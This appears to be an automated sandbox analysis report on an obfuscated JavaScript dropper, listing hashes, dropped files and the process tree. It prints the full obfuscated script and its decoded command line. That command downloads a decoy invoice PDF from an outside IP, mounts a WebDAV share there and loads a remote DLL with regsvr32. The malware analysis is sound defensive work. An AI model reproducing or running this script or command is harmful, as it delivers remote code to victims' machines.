Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17578), with CRLF line terminators
Entropy (8bit):	4.911805907794375
TrID:
File name:	27311161302332319656.js
File size:	21'159 bytes
MD5:	09ecd4b4f94b9055758ef6916d378ae8
SHA1:	ba65959c8749d95c1b24ed8c811b0d10600357da
SHA256:	d6a16c3b95c2a9e2ccdf1b84a477d0407d00a0649eb0fd4859b4b0bea112a9ce
SHA512:	1e9f5a4e283933081a67582eb053706bee317946fb60edc7e4221ee89808ca62f7578c14a52cfecf984ae4672bf27060a1a3eea95e1ad4922e53111f4f92049e
SSDEEP:	384:P0Fx0jxxGOCDoSHxjHvusRcaAAkIvgc9U8CUUC5MgLIhA2oXnc8R7V1Hi6ta9wG:cFijxxIlxjHvusRcaAAkIvgc9U8CUUC4
TLSH:	ED9254DAE5048B1D7FDA89F2DE9A0CC6365DC9488F66206428C81C828716939F5F71FF
File Content Preview:	function ntspav(){ruetgeg=[1031,3079,5127,4103,2055,3072];var xvsfqykva=this[akkyo+kntnymlok+zbhltwv+chppu+likmagp+npxwz+fjakauw+pkhlhwvhh](this[opzotskao+ywoolp+lwyhnv+zbhltwv+brgqzdop+akkyo+pkhlhwvhh][qanmjw+zbhltwv+likmagp+kntnymlok+pkhlhwvhh+likmagp+l

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	08:35:01
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27311161302332319656.js"
Imagebase:	0x7ff6167c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:35:02
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Imagebase:	0x7ff7774f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:35:02
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:35:02
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:35:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:35:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7774f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:35:06
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b34c0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:35:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	08:35:07
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:35:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1656,i,1828878515716076639,620599518666284365,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function ntspav() {	ntspav() ➔ undefined
1	ruetgeg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xvsfqykva = this[akkyo + kntnymlok + zbhltwv + chppu + likmagp + npxwz + fjakauw + pkhlhwvhh] ( this[opzotskao + ywoolp + lwyhnv + zbhltwv + brgqzdop + akkyo + pkhlhwvhh][qanmjw + zbhltwv + likmagp + kntnymlok + pkhlhwvhh + likmagp + lhzfkk + ccqdbqs + tgpayj + likmagp + lwyhnv + pkhlhwvhh] ( opzotskao + ywoolp + lwyhnv + zbhltwv + brgqzdop + akkyo + pkhlhwvhh + dlhhuxg + ywoolp + rtefrwtzy + likmagp + hwpxrphz + hwpxrphz ) [nqpaprlt + likmagp + viphj + nqpaprlt + likmagp + kntnymlok + rtvigk] ( wdfmgprd + csjvy + gntzebv + racfjtp + dxiwp + qanmjw + zpozllt + nqpaprlt + nqpaprlt + gntzebv + uggrsjd + ffbvkxeec + dxiwp + zpozllt + ywoolp + gntzebv + nqpaprlt + mktrkxgfm + qanmjw + qfeohmtk + fjakauw + pkhlhwvhh + zbhltwv + qfeohmtk + hwpxrphz + lvktquugb + vyyquvj + kntnymlok + fjakauw + likmagp + hwpxrphz + mktrkxgfm + npxwz + fjakauw + pkhlhwvhh + likmagp + zbhltwv + fjakauw + kntnymlok + pkhlhwvhh + brgqzdop + qfeohmtk + fjakauw + kntnymlok + hwpxrphz + mktrkxgfm + uibqo + qfeohmtk + lwyhnv + kntnymlok + hwpxrphz + likmagp ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qqgskv = 0 ; qqgskv < ruetgeg[hwpxrphz + likmagp + fjakauw + viphj + pkhlhwvhh + rtefrwtzy] ; ++ qqgskv )
4	{
5	if ( xvsfqykva == ruetgeg[qqgskv] )
6	{
7	xvsfqykva = true;
8	break ;
9	}
10	}
11	if ( xvsfqykva !== true )
12	this[opzotskao + ywoolp + lwyhnv + zbhltwv + brgqzdop + akkyo + pkhlhwvhh][bqpnnem + rdojxp + brgqzdop + pkhlhwvhh] ( );
13	this[opzotskao + ywoolp + lwyhnv + zbhltwv + brgqzdop + akkyo + pkhlhwvhh][qanmjw + zbhltwv + likmagp + kntnymlok + pkhlhwvhh + likmagp + lhzfkk + ccqdbqs + tgpayj + likmagp + lwyhnv + pkhlhwvhh] ( opzotskao + ywoolp + lwyhnv + zbhltwv + brgqzdop + akkyo + pkhlhwvhh + dlhhuxg + ywoolp + rtefrwtzy + likmagp + hwpxrphz + hwpxrphz ) [zbhltwv + rdojxp + fjakauw] ( lwyhnv + yareeu + rtvigk + lvktquugb + khytggsqb + lwyhnv + lvktquugb + akkyo + qfeohmtk + jifkcaao + likmagp + zbhltwv + chppu + rtefrwtzy + likmagp + hwpxrphz + hwpxrphz + dlhhuxg + likmagp + cqszbw + likmagp + lvktquugb + umowi + qanmjw + qfeohmtk + yareeu + yareeu + kntnymlok + fjakauw + rtvigk + lvktquugb + fepcyhnzi + npxwz + fjakauw + igwpq + qfeohmtk + dshzjhj + likmagp + umowi + opzotskao + likmagp + ccqdbqs + nqpaprlt + likmagp + yslkowox + rdojxp + likmagp + chppu + pkhlhwvhh + lvktquugb + umowi + lhzfkk + rdojxp + pkhlhwvhh + axuwyqo + brgqzdop + hwpxrphz + likmagp + lvktquugb + iduvmrsr + pkhlhwvhh + likmagp + yareeu + akkyo + iduvmrsr + mktrkxgfm + brgqzdop + fjakauw + igwpq + qfeohmtk + brgqzdop + lwyhnv + likmagp + dlhhuxg + akkyo + rtvigk + eynutqe + lvktquugb + rtefrwtzy + pkhlhwvhh + pkhlhwvhh + akkyo + ywlgiifnc + khytggsqb + khytggsqb + mfeayu + gtqbgpkek + vovxvmd + dlhhuxg + mfeayu + oeoeq + vovxvmd + dlhhuxg + mfeayu + dlhhuxg + bkpvqek + qmtvxyh + uzsih + khytggsqb + brgqzdop + fjakauw + igwpq + qfeohmtk + brgqzdop + lwyhnv + likmagp + dlhhuxg + akkyo + rtefrwtzy + akkyo + fepcyhnzi + euzdmj + euzdmj + chppu + pkhlhwvhh + kntnymlok + zbhltwv + pkhlhwvhh + lvktquugb + iduvmrsr + pkhlhwvhh + likmagp + yareeu + akkyo + iduvmrsr + mktrkxgfm + brgqzdop + fjakauw + igwpq + qfeohmtk + brgqzdop + lwyhnv + likmagp + dlhhuxg + akkyo + rtvigk + eynutqe + euzdmj + euzdmj + lwyhnv + yareeu + rtvigk + lvktquugb + khytggsqb + lwyhnv + lvktquugb + fjakauw + likmagp + pkhlhwvhh + lvktquugb + rdojxp + chppu + likmagp + lvktquugb + mktrkxgfm + mktrkxgfm + mfeayu + gtqbgpkek + vovxvmd + dlhhuxg + mfeayu + oeoeq + vovxvmd + dlhhuxg + mfeayu + dlhhuxg + bkpvqek + qmtvxyh + uzsih + mmothjf + rirnadx + rirnadx + rirnadx + rirnadx + mktrkxgfm + rtvigk + kntnymlok + igwpq + jifkcaao + jifkcaao + jifkcaao + zbhltwv + qfeohmtk + qfeohmtk + pkhlhwvhh + mktrkxgfm + euzdmj + euzdmj + lwyhnv + yareeu + rtvigk + lvktquugb + khytggsqb + lwyhnv + lvktquugb + zbhltwv + likmagp + viphj + chppu + igwpq + zbhltwv + vovxvmd + bkpvqek + lvktquugb + khytggsqb + chppu + lvktquugb + mktrkxgfm + mktrkxgfm + mfeayu + gtqbgpkek + vovxvmd + dlhhuxg + mfeayu + oeoeq + vovxvmd + dlhhuxg + mfeayu + dlhhuxg + bkpvqek + qmtvxyh + uzsih + mmothjf + rirnadx + rirnadx + rirnadx + rirnadx + mktrkxgfm + rtvigk + kntnymlok + igwpq + jifkcaao + jifkcaao + jifkcaao + zbhltwv + qfeohmtk + qfeohmtk + pkhlhwvhh + mktrkxgfm + bkpvqek + uzsih + vovxvmd + vovxvmd + rgjedu + bkpvqek + zsfteqizt + mfeayu + gtqbgpkek + gtqbgpkek + mfeayu + bkpvqek + rirnadx + rirnadx + dlhhuxg + rtvigk + hwpxrphz + hwpxrphz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll",0,false) ➔ 0
14	}
15	racfjtp = "S";
16	racfjtp = "x";
17	racfjtp = "g";
18	racfjtp = "B";
19	racfjtp = "P";
20	racfjtp = "i";
21	racfjtp = "d";
22	racfjtp = "x";
23	racfjtp = "p";
24	racfjtp = "N";
25	racfjtp = "S";
26	racfjtp = "A";
27	racfjtp = "l";
28	racfjtp = "W";
29	racfjtp = "D";
30	racfjtp = "k";
31	racfjtp = "h";
32	racfjtp = "I";
33	racfjtp = "m";
34	racfjtp = "Z";
35	racfjtp = "N";
36	racfjtp = "s";
37	racfjtp = "z";
38	racfjtp = "P";
39	racfjtp = "W";
40	racfjtp = "w";
41	racfjtp = "n";
42	racfjtp = "Q";
43	racfjtp = "r";
44	racfjtp = "t";
45	racfjtp = "K";
46	racfjtp = "L";
47	racfjtp = "G";
48	racfjtp = "C";
49	racfjtp = "j";
50	racfjtp = "N";
51	racfjtp = "f";
52	racfjtp = "m";
53	racfjtp = "g";
54	racfjtp = "Y";
55	rirnadx = "h";
56	rirnadx = "Z";
57	rirnadx = "O";
58	rirnadx = "J";
59	rirnadx = "Q";
60	rirnadx = "J";
61	rirnadx = "p";
62	rirnadx = "E";
63	rirnadx = "b";
64	rirnadx = "F";
65	rirnadx = "G";
66	rirnadx = "w";
67	rirnadx = "G";
68	rirnadx = "m";
69	rirnadx = "O";
70	rirnadx = "P";
71	rirnadx = "D";
72	rirnadx = "q";
73	rirnadx = "M";
74	rirnadx = "d";
75	rirnadx = "B";
76	rirnadx = "l";
77	rirnadx = "v";
78	rirnadx = "L";
79	rirnadx = "o";
80	rirnadx = "Y";
81	rirnadx = "w";
82	rirnadx = "C";
83	rirnadx = "Y";
84	rirnadx = "O";
85	rirnadx = "U";
86	rirnadx = "j";
87	rirnadx = "8";
88	khytggsqb = "M";
89	khytggsqb = "N";
90	khytggsqb = "L";
91	khytggsqb = "j";
92	khytggsqb = "E";
93	khytggsqb = "s";
94	khytggsqb = "E";
95	khytggsqb = "G";
96	khytggsqb = "s";
97	khytggsqb = "p";
98	khytggsqb = "I";
99	khytggsqb = "J";
100	khytggsqb = "H";
101	khytggsqb = "Q";
102	khytggsqb = "r";
103	khytggsqb = "V";
104	khytggsqb = "F";
105	khytggsqb = "h";
106	khytggsqb = "r";
107	khytggsqb = "k";
108	khytggsqb = "U";
109	khytggsqb = "X";
110	khytggsqb = "i";
111	khytggsqb = "i";
112	khytggsqb = "j";
113	khytggsqb = "L";
114	khytggsqb = "a";
115	khytggsqb = "j";
116	khytggsqb = "P";
117	khytggsqb = "g";
118	khytggsqb = "X";
119	khytggsqb = "k";
120	khytggsqb = "/";
121	vovxvmd = "J";
122	vovxvmd = "V";
123	vovxvmd = "M";
124	vovxvmd = "E";
125	vovxvmd = "g";
126	vovxvmd = "H";
127	vovxvmd = "m";
128	vovxvmd = "B";
129	vovxvmd = "S";
130	vovxvmd = "G";
131	vovxvmd = "b";
132	vovxvmd = "h";
133	vovxvmd = "I";
134	vovxvmd = "T";
135	vovxvmd = "u";
136	vovxvmd = "o";
137	vovxvmd = "l";
138	vovxvmd = "B";
139	vovxvmd = "c";
140	vovxvmd = "F";
141	vovxvmd = "b";
142	vovxvmd = "L";
143	vovxvmd = "G";
144	vovxvmd = "h";
145	vovxvmd = "x";
146	vovxvmd = "d";
147	vovxvmd = "M";
148	vovxvmd = "w";
149	vovxvmd = "N";
150	vovxvmd = "3";
151	euzdmj = "k";
152	euzdmj = "l";
153	euzdmj = "b";
154	euzdmj = "i";
155	euzdmj = "m";
156	euzdmj = "F";
157	euzdmj = "r";
158	euzdmj = "k";
159	euzdmj = "t";
160	euzdmj = "I";
161	euzdmj = "K";
162	euzdmj = "C";
163	euzdmj = "b";
164	euzdmj = "n";
165	euzdmj = "P";
166	euzdmj = "x";
167	euzdmj = "j";
168	euzdmj = "r";
169	euzdmj = "K";
170	euzdmj = "u";
171	euzdmj = "n";
172	euzdmj = "A";
173	euzdmj = "f";
174	euzdmj = "L";
175	euzdmj = "&";
176	lvktquugb = "E";
177	lvktquugb = "Z";
178	lvktquugb = "B";
179	lvktquugb = "G";
180	lvktquugb = "v";
181	lvktquugb = "j";
182	lvktquugb = "e";
183	lvktquugb = "m";
184	lvktquugb = "l";
185	lvktquugb = "M";
186	lvktquugb = "p";
187	lvktquugb = "c";
188	lvktquugb = "E";
189	lvktquugb = "r";
190	lvktquugb = "p";
191	lvktquugb = "I";
192	lvktquugb = "h";
193	lvktquugb = "B";
194	lvktquugb = "R";
195	lvktquugb = "Q";
196	lvktquugb = "R";
197	lvktquugb = "h";
198	lvktquugb = "D";
199	lvktquugb = "F";
200	lvktquugb = "O";
201	lvktquugb = "j";
202	lvktquugb = "f";
203	lvktquugb = "r";
204	lvktquugb = "G";
205	lvktquugb = "P";
206	lvktquugb = "Q";
207	lvktquugb = "B";
208	lvktquugb = "G";
209	lvktquugb = "m";
210	lvktquugb = "N";
211	lvktquugb = "a";
212	lvktquugb = "e";
213	lvktquugb = "V";
214	lvktquugb = "H";
215	lvktquugb = "V";
216	lvktquugb = "t";
217	lvktquugb = " ";
218	hwpxrphz = "b";
219	hwpxrphz = "q";
220	hwpxrphz = "N";
221	hwpxrphz = "i";
222	hwpxrphz = "j";
223	hwpxrphz = "k";
224	hwpxrphz = "l";
225	hwpxrphz = "L";
226	hwpxrphz = "t";
227	hwpxrphz = "N";
228	hwpxrphz = "f";
229	hwpxrphz = "U";
230	hwpxrphz = "j";
231	hwpxrphz = "C";
232	hwpxrphz = "b";
233	hwpxrphz = "v";
234	hwpxrphz = "L";
235	hwpxrphz = "V";
236	hwpxrphz = "Q";
237	hwpxrphz = "e";
238	hwpxrphz = "m";
239	hwpxrphz = "C";
240	hwpxrphz = "f";
241	hwpxrphz = "Q";
242	hwpxrphz = "l";
243	hwpxrphz = "M";
244	hwpxrphz = "S";
245	hwpxrphz = "N";
246	hwpxrphz = "Q";
247	hwpxrphz = "q";
248	hwpxrphz = "J";
249	hwpxrphz = "V";
250	hwpxrphz = "s";
251	hwpxrphz = "b";
252	hwpxrphz = "H";
253	hwpxrphz = "l";
254	hwpxrphz = "n";
255	hwpxrphz = "T";
256	hwpxrphz = "L";
257	hwpxrphz = "T";
258	hwpxrphz = "l";
259	cqszbw = "X";
260	cqszbw = "C";
261	cqszbw = "C";
262	cqszbw = "d";
263	cqszbw = "K";
264	cqszbw = "p";
265	cqszbw = "n";
266	cqszbw = "l";
267	cqszbw = "d";
268	cqszbw = "n";
269	cqszbw = "o";
270	cqszbw = "V";
271	cqszbw = "p";
272	cqszbw = "R";
273	cqszbw = "u";
274	cqszbw = "v";
275	cqszbw = "C";
276	cqszbw = "h";
277	cqszbw = "V";
278	cqszbw = "L";
279	cqszbw = "Q";
280	cqszbw = "n";
281	cqszbw = "R";
282	cqszbw = "U";
283	cqszbw = "k";
284	cqszbw = "d";
285	cqszbw = "e";
286	cqszbw = "V";
287	cqszbw = "x";
288	rdojxp = "b";
289	rdojxp = "r";
290	rdojxp = "K";
291	rdojxp = "d";
292	rdojxp = "A";
293	rdojxp = "E";
294	rdojxp = "z";
295	rdojxp = "r";
296	rdojxp = "X";
297	rdojxp = "W";
298	rdojxp = "H";
299	rdojxp = "a";
300	rdojxp = "x";
301	rdojxp = "h";
302	rdojxp = "t";
303	rdojxp = "a";
304	rdojxp = "G";
305	rdojxp = "v";
306	rdojxp = "s";
307	rdojxp = "v";
308	rdojxp = "T";
309	rdojxp = "k";
310	rdojxp = "L";
311	rdojxp = "e";
312	rdojxp = "Y";
313	rdojxp = "a";
314	rdojxp = "s";
315	rdojxp = "I";
316	rdojxp = "F";
317	rdojxp = "D";
318	rdojxp = "V";
319	rdojxp = "D";
320	rdojxp = "d";
321	rdojxp = "O";
322	rdojxp = "u";
323	vyyquvj = "U";
324	vyyquvj = "o";
325	vyyquvj = "p";
326	vyyquvj = "C";
327	vyyquvj = "G";
328	vyyquvj = "W";
329	vyyquvj = "H";
330	vyyquvj = "h";
331	vyyquvj = "e";
332	vyyquvj = "y";
333	vyyquvj = "B";
334	vyyquvj = "g";
335	vyyquvj = "H";
336	vyyquvj = "V";
337	vyyquvj = "q";
338	vyyquvj = "T";
339	vyyquvj = "I";
340	vyyquvj = "y";
341	vyyquvj = "z";
342	vyyquvj = "P";
343	vyyquvj = "L";
344	vyyquvj = "q";
345	vyyquvj = "P";
346	uzsih = "z";
347	uzsih = "s";
348	uzsih = "h";
349	uzsih = "X";
350	uzsih = "v";
351	uzsih = "l";
352	uzsih = "M";
353	uzsih = "a";
354	uzsih = "h";
355	uzsih = "c";
356	uzsih = "u";
357	uzsih = "G";
358	uzsih = "u";
359	uzsih = "t";
360	uzsih = "w";
361	uzsih = "r";
362	uzsih = "T";
363	uzsih = "U";
364	uzsih = "x";
365	uzsih = "x";
366	uzsih = "h";
367	uzsih = "V";
368	uzsih = "P";
369	uzsih = "e";
370	uzsih = "T";
371	uzsih = "t";
372	uzsih = "w";
373	uzsih = "m";
374	uzsih = "z";
375	uzsih = "Z";
376	uzsih = "T";
377	uzsih = "e";
378	uzsih = "5";
379	zsfteqizt = "s";
380	zsfteqizt = "u";
381	zsfteqizt = "V";
382	zsfteqizt = "G";
383	zsfteqizt = "M";
384	zsfteqizt = "a";
385	zsfteqizt = "C";
386	zsfteqizt = "P";
387	zsfteqizt = "M";
388	zsfteqizt = "Z";
389	zsfteqizt = "R";
390	zsfteqizt = "j";
391	zsfteqizt = "w";
392	zsfteqizt = "Z";
393	zsfteqizt = "S";
394	zsfteqizt = "N";
395	zsfteqizt = "h";
396	zsfteqizt = "S";
397	zsfteqizt = "p";
398	zsfteqizt = "t";
399	zsfteqizt = "a";
400	zsfteqizt = "w";
401	zsfteqizt = "e";
402	zsfteqizt = "b";
403	zsfteqizt = "7";
404	eynutqe = "d";
405	eynutqe = "Z";
406	eynutqe = "z";
407	eynutqe = "s";
408	eynutqe = "n";
409	eynutqe = "g";
410	eynutqe = "x";
411	eynutqe = "K";
412	eynutqe = "e";
413	eynutqe = "X";
414	eynutqe = "R";
415	eynutqe = "v";
416	eynutqe = "H";
417	eynutqe = "W";
418	eynutqe = "e";
419	eynutqe = "k";
420	eynutqe = "x";
421	eynutqe = "i";
422	eynutqe = "c";
423	eynutqe = "y";
424	eynutqe = "f";
425	eynutqe = "f";
426	uibqo = "V";
427	uibqo = "c";
428	uibqo = "g";
429	uibqo = "t";
430	uibqo = "T";
431	uibqo = "Q";
432	uibqo = "B";
433	uibqo = "L";
434	uibqo = "K";
435	uibqo = "t";
436	uibqo = "v";
437	uibqo = "S";
438	uibqo = "W";
439	uibqo = "n";
440	uibqo = "l";
441	uibqo = "J";
442	uibqo = "M";
443	uibqo = "t";
444	uibqo = "L";
445	fepcyhnzi = "v";
446	fepcyhnzi = "w";
447	fepcyhnzi = "y";
448	fepcyhnzi = "l";
449	fepcyhnzi = "I";
450	fepcyhnzi = "k";
451	fepcyhnzi = "e";
452	fepcyhnzi = "e";
453	fepcyhnzi = "q";
454	fepcyhnzi = "M";
455	fepcyhnzi = "v";
456	fepcyhnzi = "E";
457	fepcyhnzi = "I";
458	fepcyhnzi = "c";
459	fepcyhnzi = "i";
460	fepcyhnzi = "S";
461	fepcyhnzi = "A";
462	fepcyhnzi = "A";
463	fepcyhnzi = "S";
464	fepcyhnzi = "t";
465	fepcyhnzi = "Y";
466	fepcyhnzi = "E";
467	fepcyhnzi = "j";
468	fepcyhnzi = "M";
469	fepcyhnzi = "\"";
470	bqpnnem = "b";
471	bqpnnem = "D";
472	bqpnnem = "U";
473	bqpnnem = "B";
474	bqpnnem = "p";
475	bqpnnem = "c";
476	bqpnnem = "z";
477	bqpnnem = "c";
478	bqpnnem = "V";
479	bqpnnem = "Y";
480	bqpnnem = "j";
481	bqpnnem = "g";
482	bqpnnem = "X";
483	bqpnnem = "S";
484	bqpnnem = "Y";
485	bqpnnem = "W";
486	bqpnnem = "A";
487	bqpnnem = "g";
488	bqpnnem = "e";
489	bqpnnem = "V";
490	bqpnnem = "f";
491	bqpnnem = "J";
492	bqpnnem = "k";
493	bqpnnem = "L";
494	bqpnnem = "X";
495	bqpnnem = "h";
496	bqpnnem = "w";
497	bqpnnem = "s";
498	bqpnnem = "P";
499	bqpnnem = "P";
500	bqpnnem = "H";
501	bqpnnem = "q";
502	bqpnnem = "X";
503	bqpnnem = "S";
504	bqpnnem = "Y";
505	bqpnnem = "L";
506	bqpnnem = "k";
507	bqpnnem = "D";
508	bqpnnem = "Q";
509	qfeohmtk = "F";
510	qfeohmtk = "r";
511	qfeohmtk = "b";
512	qfeohmtk = "E";
513	qfeohmtk = "P";
514	qfeohmtk = "P";
515	qfeohmtk = "N";
516	qfeohmtk = "M";
517	qfeohmtk = "T";
518	qfeohmtk = "o";
519	likmagp = "k";
520	likmagp = "C";
521	likmagp = "Q";
522	likmagp = "q";
523	likmagp = "e";
524	gtqbgpkek = "M";
525	gtqbgpkek = "P";
526	gtqbgpkek = "l";
527	gtqbgpkek = "E";
528	gtqbgpkek = "v";
529	gtqbgpkek = "l";
530	gtqbgpkek = "L";
531	gtqbgpkek = "m";
532	gtqbgpkek = "J";
533	gtqbgpkek = "f";
534	gtqbgpkek = "Q";
535	gtqbgpkek = "N";
536	gtqbgpkek = "w";
537	gtqbgpkek = "W";
538	gtqbgpkek = "I";
539	gtqbgpkek = "M";
540	gtqbgpkek = "c";
541	gtqbgpkek = "X";
542	gtqbgpkek = "G";
543	gtqbgpkek = "P";
544	gtqbgpkek = "F";
545	gtqbgpkek = "f";
546	gtqbgpkek = "o";
547	gtqbgpkek = "L";
548	gtqbgpkek = "n";
549	gtqbgpkek = "9";
550	axuwyqo = "u";
551	axuwyqo = "l";
552	axuwyqo = "F";
553	axuwyqo = "Y";
554	axuwyqo = "f";
555	axuwyqo = "K";
556	axuwyqo = "d";
557	axuwyqo = "d";
558	axuwyqo = "s";
559	axuwyqo = "Z";
560	axuwyqo = "g";
561	axuwyqo = "d";
562	axuwyqo = "b";
563	axuwyqo = "e";
564	axuwyqo = "A";
565	axuwyqo = "K";
566	axuwyqo = "r";
567	axuwyqo = "m";
568	axuwyqo = "p";
569	axuwyqo = "w";
570	axuwyqo = "N";
571	axuwyqo = "T";
572	axuwyqo = "h";
573	axuwyqo = "A";
574	axuwyqo = "M";
575	axuwyqo = "f";
576	axuwyqo = "K";
577	axuwyqo = "s";
